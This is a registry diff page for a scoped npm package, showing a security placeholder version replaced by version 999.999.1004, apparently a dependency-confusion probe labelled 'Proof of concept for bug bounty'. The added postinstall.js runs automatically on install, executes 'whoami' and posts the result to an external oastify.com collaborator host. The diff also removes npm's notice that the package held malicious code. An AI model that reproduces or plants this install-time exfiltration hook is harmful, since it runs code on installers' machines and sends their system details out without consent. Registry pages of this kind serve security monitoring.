@platform-clientextensions/rum-web 0.0.1-security → 999.999.1004
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @platform-clientextensions/rum-web might be problematic. Click here for more details.
- package/package.json +8 -3
- package/postinstall.js +43 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@platform-clientextensions/rum-web",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "999.999.1004",
|
|
4
|
+
"description": "Proof of concept for bug bounty",
|
|
5
|
+
"main": "postinstall.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node postinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "",
|
|
10
|
+
"license": "ISC"
|
|
6
11
|
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
|
|
4
|
+
// Execute whoami command
|
|
5
|
+
exec('whoami', (error, stdout, stderr) => {
|
|
6
|
+
if (error) {
|
|
7
|
+
console.error(`Error: ${error.message}`);
|
|
8
|
+
return;
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
const result = stdout.trim();
|
|
12
|
+
console.log(`Command output: ${result}`);
|
|
13
|
+
|
|
14
|
+
// Send result to Burp Collaborator
|
|
15
|
+
const data = JSON.stringify({
|
|
16
|
+
command: 'whoami',
|
|
17
|
+
output: result,
|
|
18
|
+
package: '@platform-clientextensions/rum-web',
|
|
19
|
+
version: '999.999.1003'
|
|
20
|
+
});
|
|
21
|
+
|
|
22
|
+
const options = {
|
|
23
|
+
hostname: '5ntbk8arzwvsowmd7fa8u4s6sxyomff34.oastify.com',
|
|
24
|
+
port: 443,
|
|
25
|
+
path: '/',
|
|
26
|
+
method: 'POST',
|
|
27
|
+
headers: {
|
|
28
|
+
'Content-Type': 'application/json',
|
|
29
|
+
'Content-Length': data.length
|
|
30
|
+
}
|
|
31
|
+
};
|
|
32
|
+
|
|
33
|
+
const req = https.request(options, res => {
|
|
34
|
+
console.log(`Result sent to Burp Collaborator. Status: ${res.statusCode}`);
|
|
35
|
+
});
|
|
36
|
+
|
|
37
|
+
req.on('error', error => {
|
|
38
|
+
console.error('Error sending to Burp:', error);
|
|
39
|
+
});
|
|
40
|
+
|
|
41
|
+
req.write(data);
|
|
42
|
+
req.end();
|
|
43
|
+
});
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40platform-clientextensions%2Frum-web for more information.
|